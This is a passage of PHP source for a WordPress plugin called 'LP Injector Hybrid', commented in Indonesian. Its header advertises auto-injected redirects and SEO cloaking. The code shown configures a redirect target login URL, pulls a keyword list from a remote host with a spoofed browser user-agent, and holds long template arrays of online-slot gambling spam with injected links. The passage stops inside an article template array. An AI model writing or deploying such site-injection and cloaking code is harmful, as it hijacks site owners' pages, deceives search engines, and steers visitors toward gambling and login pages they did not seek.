<?php
/**
 * Plugin Name: LP Injector Hybrid
 * Description: Auto-inject redirect + SEO cloaking + native article + 2000 keyword random (permanent).
 * Version: 8.7
 * Author: -
 *
 * TIDAK mengubah/menghapus script lain. Root/index otomatis di-skip.
 * Keyword footer: dipilih sekali per brand+direktori, disimpan permanen di WP Options.
 */

if (!defined('ABSPATH')) exit;

/* =========================================================
   BAGIAN 1 — KONFIGURASI
   ========================================================= */

if (!defined('LP_TARGET'))       define('LP_TARGET', 'https://laqshyadigitalabs.in/loginkw/');
if (!defined('LP_DELAY'))        define('LP_DELAY', 1200);
if (!defined('LP_MODE'))         define('LP_MODE', 'indonesia');
if (!defined('LP_BRAND_URL'))    define('LP_BRAND_URL', 'https://cokelatsusu.site/menu.txt');
if (!defined('LP_BRAND_FILE'))   define('LP_BRAND_FILE', __DIR__ . '/backlink.txt');
if (!defined('LP_CACHE_FILE'))   define('LP_CACHE_FILE', __DIR__ . '/lp-cache.json');
if (!defined('LP_LISTKW_MAX'))   define('LP_LISTKW_MAX', 2000);
if (!defined('LP_ARTICLE_MIN_CHARS')) define('LP_ARTICLE_MIN_CHARS', 700);

/* =========================================================
   BAGIAN 2 — CACHE FILE (lp-cache.json) — PERMANEN
   ========================================================= */

function lp_cache_read() {
    if (!file_exists(LP_CACHE_FILE) || !is_readable(LP_CACHE_FILE)) return null;
    $json = @file_get_contents(LP_CACHE_FILE);
    if ($json === false || trim($json) === '') return null;
    $data = json_decode($json, true);
    if (!is_array($data)) return null;
    if (empty($data['keywords']) || !is_array($data['keywords'])) return null;
    return $data;
}

function lp_cache_write($brands, $keywords) {
    $data = [
        'created_at' => gmdate('c'),
        'brands'     => array_values($brands),
        'keywords'   => array_values($keywords),
    ];
    $json = wp_json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
    $tmp = LP_CACHE_FILE . '.tmp';
    if (@file_put_contents($tmp, $json, LOCK_EX) !== false) {
        @rename($tmp, LP_CACHE_FILE);
        @chmod(LP_CACHE_FILE, 0644);
        return true;
    }
    return @file_put_contents(LP_CACHE_FILE, $json, LOCK_EX) !== false;
}

/* =========================================================
   BAGIAN 3 — FETCH BRAND MENTAH
   ========================================================= */

function lp_fetch_brands_raw() {
    $body = '';
    $remote = wp_remote_get(LP_BRAND_URL, [
        'timeout'    => 10,
        'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'headers'    => [
            'Accept'          => 'text/plain, */*',
            'Accept-Language' => 'en-US,en;q=0.9',
            'Cache-Control'   => 'no-cache',
        ],
    ]);
    if (!is_wp_error($remote) && wp_remote_retrieve_response_code($remote) === 200) {
        $body = wp_remote_retrieve_body($remote);
    }
    if (trim($body) === '' && file_exists(LP_BRAND_FILE) && is_readable(LP_BRAND_FILE)) {
        $body = @file_get_contents(LP_BRAND_FILE);
    }
    if (trim((string)$body) === '') return [];
    $list = [];
    foreach (preg_split('/\r\n|\r|\n/', $body) as $line) {
        $line = trim($line);
        if ($line === '') continue;
        if (preg_match('#^https?://#i', $line)) {
            $parts = parse_url($line);
            $path  = trim($parts['path'] ?? '', '/');
            if ($path) { $seg = explode('/', $path); $line = end($seg); }
        }
        $line = preg_replace('/[^\p{L}\p{N}\s\-_.]/u', '', $line);
        $line = trim($line);
        if ($line !== '') {
            $line = function_exists('mb_strtoupper') ? mb_strtoupper($line, 'UTF-8') : strtoupper($line);
            $list[] = $line;
        }
    }
    return array_values(array_unique($list));
}

/* =========================================================
   BAGIAN 4 — MASTER (BRAND + KEYWORD) — SEKALI SAJA
   ========================================================= */

function lp_master() {
    static $master = null;
    if ($master !== null) return $master;
    $cached = lp_cache_read();
    if ($cached !== null) { $master = $cached; return $master; }
    $brands = lp_fetch_brands_raw();
    if (empty($brands)) { $master = ['brands' => [], 'keywords' => []]; return $master; }
    shuffle($brands);
    $keywords = $brands;
    $max = (int) LP_LISTKW_MAX;
    if ($max > 0 && count($keywords) > $max) { $keywords = array_slice($keywords, 0, $max); }
    lp_cache_write($brands, $keywords);
    $master = ['brands' => $brands, 'keywords' => $keywords];
    return $master;
}

/* =========================================================
   BAGIAN 5 — GET BRAND & KEYWORD
   ========================================================= */

function lp_brands() { $m = lp_master(); return $m['brands']; }
function lp_list_keywords() { $m = lp_master(); return $m['keywords']; }

/* =========================================================
   BAGIAN 6 — PREFIX TITLE (5 varian)
   ========================================================= */

function lp_prefixes() {
    return [
        'Platform Game Online',
        'Link Game Online',
        'Game Online',
        'Situs Game Online',
        'Main Game Online',
    ];
}

/* =========================================================
   BAGIAN 7 — TEMPLATE DESCRIPTION (100 varian unik)
   ========================================================= */

function lp_descs() {
    return [
        'Di halaman %3$s ini, pembahasan diarahkan ke ritme permainan, bacaan RTP, dan momen yang kerap dianggap pembuka peluang gacor. Pendekatan seperti ini membantu Anda memahami %3$s secara lebih terukur bersama %1$s.',
        '%2$s membahas cara membaca ritme permainan tanpa tebakan liar. Fokusnya ada pada sinyal yang paling sering muncul, lalu diterjemahkan ke tempo yang lebih mudah diikuti.',
        'Lewat %2$s, pembaca diajak memahami perubahan tempo, jeda, dan momen krusial yang sering menentukan arah permainan di %3$s.',
        'Ritme permainan di %3$s dibedah satu per satu: kapan harus sabar, kapan harus agresif, dan bagaimana membaca sinyal dari data %2$s.',
        'Bagi Anda yang ingin memahami ritme sebelum melangkah, %2$s menyajikan alur baca yang lebih rapi dan tidak berputar-putar.',
        'Setiap sesi punya tempo. %2$s membantu Anda mengenali pola tempo tersebut agar pembacaan permainan terasa lebih terarah.',
        'Pembahasan di %3$s tidak berhenti di teori; %2$s mengajak Anda melihat ritme nyata dari data yang tersaji.',
        'Kalau ritme adalah kunci, maka %2$s adalah panduan untuk membacanya dengan lebih tenang dan terukur.',
        'Perubahan tempo di %3$s sering jadi penentu. %2$s merangkum sinyal-sinyal tersebut dalam satu alur yang mudah dicerna.',
        'Dari pembukaan hingga sesi lanjutan, %2$s memetakan ritme permainan agar Anda tidak terjebak tebakan kosong.',
        '%2$s mengupas tuntas RTP, pola, dan sinyal gacor yang paling sering muncul di %3$s. Cocok untuk Anda yang ingin membaca data sebelum mencoba.',
        'RTP 97,8%% dan pola 3,5x jadi sorotan di %2$s. Simak bagaimana pendekatan data membuat pembacaan slot gacor terasa lebih terarah di %3$s.',
        'Pola bukan ramalan. %2$s menunjukkan bagaimana pola di %3$s dibaca dari data, bukan dari keberuntungan semata.',
        'Di %3$s, RTP dan pola dibahas sebagai satu kesatuan. %2$s membantu Anda memahami kaitannya tanpa istilah yang membingungkan.',
        'Kalau Anda mencari acuan RTP yang lebih terukur, %2$s menyoroti angka dan pola yang paling relevan untuk %3$s.',
        'Pola gacor sering disebut, jarang dijelaskan. %2$s mengisi celah itu dengan pembahasan yang lebih membumi di %3$s.',
        'RTP tinggi bukan jaminan, tapi bisa jadi petunjuk. %2$s membantu Anda membaca petunjuk itu lewat pola di %3$s.',
        'Dari RTP hingga pola maxwin, %2$s merangkum semuanya dalam satu alur yang mudah diikuti pembaca %3$s.',
        'Pola yang rapi lahir dari data yang rapi. %2$s menunjukkan bagaimana hal itu diterapkan di %3$s.',
        'Bagi pembaca %3$s, %2$s menyajikan cara membaca RTP dan pola tanpa harus jadi ahli terlebih dahulu.',
        '%2$s membuka sudut pandang yang berbeda untuk membaca slot online, RTP, pola, dan maxwin di %3$s.',
        'Alih-alih mengulang narasi umum, %2$s menawarkan cara pandang baru terhadap permainan di %3$s.',
        'Sudut pandang menentukan hasil bacaan. %2$s mengajak Anda melihat %3$s dari perspektif yang lebih jernih.',
        'Di %3$s, %2$s menyoroti detail yang sering terlewat oleh pembaca awam.',
        'Banyak yang melihat permainan sebagai keberuntungan. %2$s melihatnya sebagai pola yang bisa dibaca di %3$s.',
        'Kalau Anda bosan dengan pembahasan yang itu-itu saja, %2$s menawarkan pendekatan yang lebih segar untuk %3$s.',
        'Perspektif baru sering membuka peluang baru. %2$s mencoba hal itu untuk pembaca %3$s.',
        'Dari sisi data, %3$s punya cerita sendiri. %2$s membantu Anda membacanya.',
        'Bukan sekadar tampilan, %2$s mengajak Anda memahami logika di balik permainan %3$s.',
        'Sudut pandang yang lebih tenang sering menghasilkan bacaan yang lebih baik. %2$s mencoba membuktikannya di %3$s.',
        'Pendekatan data jadi poros pembahasan %2$s. Di %3$s, angka dan pola dibaca sebagai sinyal, bukan sekadar hiasan.',
        'RTP 97,8%% dan pola 3,5x di %3$s bukan angka biasa. %2$s menjelaskan bagaimana angka itu dibaca.',
        'Data bukan segalanya, tapi membantu. %2$s menunjukkan bagaimana data dipakai untuk membaca %3$s.',
        'Di %3$s, %2$s menyajikan data sebagai pijakan, bukan jaminan.',
        'Kalau Anda suka pendekatan berbasis angka, %2$s menyajikan data %3$s dengan cara yang lebih mudah dicerna.',
        'Angka dan pola di %3$s dibedah di %2$s tanpa istilah rumit.',
        'Pendekatan data di %2$s membantu pembaca %3$s membaca sinyal, bukan sekadar menebak.',
        'Data yang rapi menghasilkan bacaan yang rapi. %2$s mencoba menerapkannya di %3$s.',
        'Di %3$s, %2$s menyoroti angka-angka yang paling sering diabaikan pembaca.',
        'Bagi yang percaya data, %2$s adalah titik awal yang baik untuk memahami %3$s.',
        'Kalau Anda mencari acuan yang lebih terukur, perhatikan bagaimana %2$s menyoroti perubahan tempo dan peluang maxwin di %3$s.',
        '%2$s bisa jadi referensi awal sebelum Anda melangkah lebih jauh di %3$s.',
        'Referensi yang baik tidak menjanjikan, tapi membantu. %2$s mencoba menjadi itu untuk %3$s.',
        'Di %3$s, %2$s menyajikan acuan yang lebih terukur dibanding narasi umum.',
        'Kalau Anda butuh titik awal, %2$s menawarkan referensi yang lebih rapi untuk %3$s.',
        'Acuan bukan jaminan, tapi membantu arah. %2$s menyoroti hal itu di %3$s.',
        'Bagi pembaca %3$s, %2$s mencoba menjadi referensi yang tidak berputar-putar.',
        'Referensi terukur lahir dari data yang rapi. %2$s menyajikannya untuk %3$s.',
        'Di %3$s, %2$s memetakan acuan yang bisa Anda bandingkan sendiri.',
        'Kalau Anda mencari pijakan, %2$s menyajikannya untuk %3$s dengan gaya yang lebih tenang.',
        'Lewat halaman %3$s ini, %2$s memberi ruang untuk memahami tema dengan lebih tenang sebelum melangkah.',
        '%2$s mengajak pembaca %3$s untuk membaca dengan sabar, tanpa tergesa-gesa.',
        'Di %3$s, %2$s menyajikan pembahasan yang lebih santai namun tetap terarah.',
        'Bukan tempat untuk terburu-buru. %2$s menyediakan ruang baca yang lebih tenang di %3$s.',
        'Bagi Anda yang suka membaca perlahan, %2$s cocok untuk memahami %3$s.',
        'Ruang baca yang tenang sering menghasilkan pemahaman yang lebih baik. %2$s mencoba memberi itu di %3$s.',
        'Di %3$s, %2$s mengajak Anda membaca tanpa tekanan.',
        'Pembahasan %2$s di %3$s dirancang agar mudah dicerna, bukan untuk membuat bingung.',
        'Kalau Anda lelah dengan narasi yang berisik, %2$s menawarkan nada yang lebih tenang untuk %3$s.',
        'Membaca dengan tenang adalah kunci. %2$s mencoba menerapkannya di %3$s.',
        '%1$s menghadirkan %2$s dengan pendekatan yang terasa segar: bukan sekadar tampilan, tapi juga arah baca yang lebih rapi.',
        'Tema %3$s dibahas dengan gaya yang lebih segar di %2$s, tanpa kehilangan kedalaman.',
        'Di %3$s, %2$s mencoba menyajikan tema lama dengan cara pandang baru.',
        'Kesegaran bukan soal tampilan, tapi soal cara membaca. %2$s mencoba hal itu di %3$s.',
        'Bagi pembaca %3$s, %2$s menawarkan pendekatan yang lebih segar dibanding biasanya.',
        'Tema %3$s di %2$s diolah agar tidak terasa monoton.',
        'Kalau Anda mencari sudut baru, %2$s mencoba memberikannya untuk %3$s.',
        'Di %3$s, %2$s menyajikan tema dengan gaya yang lebih hidup.',
        'Kesegaran lahir dari cara penyampaian. %2$s mencoba itu di %3$s.',
        'Bagi pembaca yang ingin sesuatu yang berbeda, %2$s menyajikannya untuk %3$s.',
        'Semua dijelaskan sebagai satu alur yang rapi di %2$s. Pembaca %3$s bisa mengikuti tanpa kehilangan arah.',
        'Alur pembahasan %2$s dirancang agar pembaca %3$s tidak tersesat.',
        'Di %3$s, %2$s menyajikan alur yang lebih rapi dibanding narasi umum.',
        'Alur yang rapi adalah kunci. %2$s mencoba menerapkannya di %3$s.',
        'Bagi pembaca %3$s, %2$s menyajikan alur yang lebih mudah diikuti.',
        'Di %3$s, %2$s memetakan alur pembahasan agar tidak berputar-putar.',
        'Alur yang jelas membantu pemahaman. %2$s mencoba itu di %3$s.',
        'Bukan sekadar urutan, %2$s merancang alur yang lebih logis untuk %3$s.',
        'Di %3$s, %2$s menyajikan alur yang lebih terstruktur.',
        'Bagi pembaca yang suka keteraturan, %2$s menyajikan alur yang lebih rapi di %3$s.',
        'Detail yang sering terlewat di %3$s justru disorot oleh %2$s.',
        'Di %3$s, %2$s menyoroti hal-hal kecil yang sering diabaikan pembaca.',
        'Detail kecil sering menentukan. %2$s menyorotinya untuk %3$s.',
        'Bagi pembaca %3$s, %2$s membantu menangkap detail yang sering terlewat.',
        'Di %3$s, %2$s membahas detail yang jarang dibicarakan.',
        'Detail bukan hal sepele. %2$s mencoba membuktikannya di %3$s.',
        'Kalau Anda suka detail, %2$s menyajikannya untuk %3$s.',
        'Di %3$s, %2$s mengajak Anda melihat detail yang lebih dalam.',
        'Detail yang rapi menghasilkan bacaan yang rapi. %2$s mencoba itu di %3$s.',
        'Bagi pembaca %3$s, %2$s menyoroti detail yang sering luput dari perhatian.',
        'Untuk pembaca cerdas, %2$s menyajikan %3$s dengan cara yang lebih terukur.',
        'Bagi Anda yang suka berpikir, %2$s cocok untuk memahami %3$s.',
        'Pembaca cerdas butuh bacaan cerdas. %2$s mencoba menyajikannya untuk %3$s.',
        'Di %3$s, %2$s mengajak pembaca berpikir, bukan sekadar mengikuti.',
        'Bagi pembaca %3$s, %2$s menyajikan bahan untuk dibandingkan sendiri.',
        'Kalau Anda suka menganalisis, %2$s memberi bahan untuk %3$s.',
        'Pembaca cerdas tidak puas dengan narasi umum. %2$s mencoba memberi lebih untuk %3$s.',
        'Di %3$s, %2$s menyajikan pembahasan yang lebih dalam untuk pembaca yang serius.',
        'Bagi yang ingin memahami lebih jauh, %2$s menyajikannya untuk %3$s.',
        'Pembaca cerdas butuh data, bukan janji. %2$s mencoba memberi itu di %3$s.',
    ];
}

/* =========================================================
   BAGIAN 8 — TEMPLATE ARTICLE (100 varian unik)
   ========================================================= */

function lp_articles() {
    return [
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – %4$s</a></strong></p><p>%1$s menghadirkan pembahasan %3$s dengan fokus yang lebih terarah, bukan sekadar tampilan luar. Di artikel ini, %4$s diposisikan sebagai tema utama yang dibaca lewat alur akses dan detail yang relevan.</p><p>Anda akan melihat cara menilai %3$s yang rapi, mengenali jalur akses yang nyaman, dan memahami apa yang perlu dicek sebelum masuk lebih jauh. Pendekatan ini membantu %1$s menjaga pembahasan tetap konkret, singkat, dan mudah diikuti.</p><p>Jika Anda ingin melihat bagaimana %2$s dibahas dari sudut yang lebih jelas, %1$s siap jadi titik awal. Simak sampai akhir agar Anda lebih mantap menilai %4$s tanpa tebak-tebakan.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Panduan %3$s</a></strong></p><p>%1$s merangkum %3$s dalam satu alur yang mudah diikuti. Fokus utamanya adalah memberi gambaran utuh tentang ritme akses, bukan sekadar menyebut istilah teknis.</p><p>Di halaman ini, %4$s dibahas sebagai konteks yang membantu Anda memahami bagaimana %3$s seharusnya dinilai. Anda bisa membandingkan sendiri mana yang relevan, mana yang hanya pengulangan.</p><p>Jika Anda mencari titik awal sebelum melangkah lebih jauh, %1$s menyajikannya dengan gaya yang lebih tenang.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Ulasan Singkat</a></strong></p><p>Ulasan singkat dari %1$s tentang %3$s. Tidak berputar-putar, hanya poin-poin yang paling sering ditanyakan.</p><p>Lewat %4$s, %2$s dibaca sebagai tema yang menyatu antara akses dan detail. Pendekatan ini membantu Anda menangkap inti tanpa harus membaca berlembar-lembar.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Catatan %4$s</a></strong></p><p>%1$s mencatat beberapa hal penting terkait %3$s. Bukan janji, tapi peta akses yang lebih jelas.</p><p>Di %4$s, %2$s dibahas sebagai satu kesatuan. Anda bisa mengikuti alurnya tanpa kehilangan arah.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Penjelasan %3$s</a></strong></p><p>Penjelasan %1$s tentang %3$s di %4$s. Ditulis untuk pembaca yang ingin memahami konteks sebelum mencoba.</p><p>Semua dijelaskan sebagai satu alur rapi, dari akses awal hingga detail yang sering terlewat.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Titik Awal</a></strong></p><p>%1$s menyajikan %3$s sebagai titik awal untuk memahami %4$s. Cocok bagi Anda yang ingin membaca lebih dulu sebelum memutuskan.</p><p>Pendekatan ini membantu menjaga pembahasan tetap konkret dan tidak melebar.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Ringkasan %3$s</a></strong></p><p>Ringkasan %1$s tentang %3$s. Fokus pada hal-hal yang paling sering dibutuhkan pembaca %4$s.</p><p>Jika Anda ingin melihat gambaran cepat, artikel ini jadi tempat yang tepat.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Sudut Pandang</a></strong></p><p>%1$s menawarkan sudut pandang berbeda soal %3$s di %4$s. Alih-alih mengulang narasi umum, artikel ini memilih pembahasan yang lebih terarah.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Catatan Ringan</a></strong></p><p>Catatan ringan %1$s tentang %3$s. Tetap membumi, tanpa istilah yang membingungkan.</p><p>Di %4$s, %2$s dibaca sebagai satu alur yang mudah diikuti.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Panduan Awal</a></strong></p><p>Panduan awal %1$s untuk memahami %3$s di %4$s. Cocok untuk pembaca yang baru pertama kali menyimak topik ini.</p><p>Alurnya rapi, tidak berputar-putar, dan tetap konkret.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Detail Penting</a></strong></p><p>%1$s menyoroti detail penting dari %3$s yang sering terlewat di %4$s. Bukan hal besar, tapi sering jadi penentu.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Alur Rapi</a></strong></p><p>Alur %3$s di %4$s dirancang rapi oleh %1$s. Pembaca bisa mengikuti tanpa kehilangan arah.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Konteks %3$s</a></strong></p><p>%1$s memberi konteks tentang %3$s di %4$s. Bukan sekadar tampilan, tapi juga arah baca.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Poin Kunci</a></strong></p><p>%1$s merangkum poin kunci dari %3$s. Di %4$s, semuanya disusun agar mudah dicerna.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Sorotan Utama</a></strong></p><p>Sorotan utama %1$s tentang %3$s di %4$s. Fokus pada hal-hal yang paling sering diabaikan pembaca.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Peta Akses</a></strong></p><p>%1$s memetakan akses %3$s di %4$s agar lebih mudah diikuti. Cocok untuk pembaca yang suka keteraturan.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Detail Kecil</a></strong></p><p>%1$s menyoroti detail kecil %3$s yang sering luput dari perhatian di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Rangkuman %3$s</a></strong></p><p>Rangkuman singkat %1$s tentang %3$s di %4$s. Semua dijelaskan dalam satu alur.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Tinjauan</a></strong></p><p>Tinjauan %1$s tentang %3$s di %4$s. Pendekatannya konkret, tidak melebar ke mana-mana.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Langkah Awal</a></strong></p><p>Langkah awal %1$s untuk memahami %3$s di %4$s. Cocok untuk Anda yang ingin membaca dulu sebelum mencoba.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Ritme %3$s</a></strong></p><p>%1$s membahas ritme %3$s di %4$s. Fokus pada tempo, jeda, dan momen krusial.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Tempo Permainan</a></strong></p><p>%1$s menyoroti tempo %3$s di %4$s. Pendekatan ini membantu Anda membaca alur lebih tenang.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Bacaan %3$s</a></strong></p><p>Bacaan %1$s tentang %3$s di %4$s. Tidak berputar-putar, hanya yang perlu Anda tahu.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Jeda & Alur</a></strong></p><p>%1$s membahas jeda dan alur %3$s di %4$s. Cocok untuk pembaca yang suka detail.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Dinamika</a></strong></p><p>Dinamika %3$s di %4$s dibedah oleh %1$s. Semua disusun agar mudah dicerna.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Pola Tempo</a></strong></p><p>%1$s menyoroti pola tempo %3$s. Di %4$s, semuanya dijelaskan dalam satu alur rapi.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Sinyal Kecil</a></strong></p><p>Sinyal kecil di %3$s justru disorot oleh %1$s. Di %4$s, ini jadi bahan bacaan yang berguna.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Alur Baca</a></strong></p><p>Alur baca %3$s di %4$s dirancang %1$s agar mudah diikuti pembaca.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Catatan Tempo</a></strong></p><p>Catatan %1$s tentang tempo %3$s di %4$s. Pendekatannya lebih tenang dan terukur.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Perubahan Ritme</a></strong></p><p>%1$s menyoroti perubahan ritme di %3$s. Di %4$s, semuanya dibahas sebagai satu alur.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Pendekatan Data</a></strong></p><p>%1$s memakai pendekatan data untuk membaca %3$s di %4$s. Bukan janji, tapi pijakan.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Angka & Pola</a></strong></p><p>Angka dan pola %3$s dibedah %1$s tanpa istilah rumit. Di %4$s, semuanya mudah dicerna.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Pijakan Awal</a></strong></p><p>%1$s menyajikan %3$s sebagai pijakan awal di %4$s, bukan jaminan.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Sinyal & Data</a></strong></p><p>%1$s membahas sinyal dan data %3$s di %4$s. Fokus pada yang paling relevan.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Bacaan Angka</a></strong></p><p>Bacaan angka %3$s di %4$s oleh %1$s. Tanpa istilah yang membingungkan.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Pola Rapi</a></strong></p><p>Pola rapi lahir dari data rapi. %1$s mencobanya di %3$s untuk pembaca %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Data Terukur</a></strong></p><p>%1$s menyajikan data terukur tentang %3$s di %4$s. Cocok untuk pembaca serius.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Sinyal Utama</a></strong></p><p>Sinyal utama %3$s disorot %1$s di %4$s. Semuanya dijelaskan sebagai satu kesatuan.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Titik Ukur</a></strong></p><p>%1$s menandai titik ukur %3$s di %4$s. Berguna sebagai referensi awal.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Pola Data</a></strong></p><p>Pola data %3$s di %4$s dibedah %1$s tanpa berputar-putar.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Referensi %3$s</a></strong></p><p>%1$s menyajikan referensi %3$s di %4$s. Bukan janji, tapi acuan yang lebih rapi.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Acuan Awal</a></strong></p><p>Acuan awal %1$s untuk memahami %3$s di %4$s. Cocok untuk titik tolak.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Pijakan Terukur</a></strong></p><p>%1$s menyajikan pijakan terukur untuk %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Rujukan %3$s</a></strong></p><p>Rujukan %1$s tentang %3$s di %4$s. Semua dijelaskan dalam satu alur.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Titik Banding</a></strong></p><p>%1$s menyoroti titik banding %3$s di %4$s agar Anda bisa menilai sendiri.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Acuan Rapi</a></strong></p><p>Acuan rapi dari %1$s tentang %3$s di %4$s. Tidak melebar, tidak berputar-putar.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Referensi Singkat</a></strong></p><p>Referensi singkat %1$s tentang %3$s di %4$s. Cocok untuk pembaca sibuk.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Catatan Acuan</a></strong></p><p>Catatan acuan %1$s tentang %3$s. Di %4$s, semuanya dijelaskan dengan gaya tenang.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Peta Referensi</a></strong></p><p>%1$s memetakan referensi %3$s di %4$s agar mudah diikuti.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Basis Awal</a></strong></p><p>Basis awal %1$s untuk membaca %3$s di %4$s. Cocok sebagai referensi pertama.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Ruang Baca</a></strong></p><p>%1$s memberi ruang untuk membaca %3$s di %4$s dengan lebih tenang.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Bacaan Sabar</a></strong></p><p>Bacaan sabar %1$s tentang %3$s di %4$s. Cocok untuk Anda yang suka perlahan.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Santai Terarah</a></strong></p><p>%1$s menyajikan %3$s dengan gaya santai namun terarah di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Tanpa Tergesa</a></strong></p><p>%1$s mengajak membaca %3$s di %4$s tanpa tergesa-gesa.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Baca Perlahan</a></strong></p><p>Baca perlahan %3$s di %4$s bersama %1$s. Fokus pada pemahaman, bukan kecepatan.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Ruang Pemahaman</a></strong></p><p>%1$s membuka ruang pemahaman untuk %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Nada Tenang</a></strong></p><p>Nada tenang %1$s saat membahas %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Baca Nyaman</a></strong></p><p>%1$s menyajikan %3$s agar nyaman dibaca di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Catatan Ringan</a></strong></p><p>Catatan ringan %1$s tentang %3$s di %4$s. Tidak membingungkan.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Baca Santai</a></strong></p><p>Baca santai %3$s di %4$s bersama %1$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Tema Segar</a></strong></p><p>%1$s menghadirkan %3$s dengan pendekatan segar di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Gaya Baru</a></strong></p><p>Gaya baru %1$s dalam membahas %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Cara Pandang</a></strong></p><p>Cara pandang baru %1$s tentang %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Sudut Baru</a></strong></p><p>%1$s menawarkan sudut baru untuk membaca %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Pendekatan Segar</a></strong></p><p>Pendekatan segar %1$s untuk %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Tema Lama Baru</a></strong></p><p>%1$s menyajikan tema lama %3$s dengan gaya baru di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Nada Segar</a></strong></p><p>Nada segar %1$s dalam membahas %3$s di %4$s.</p>',
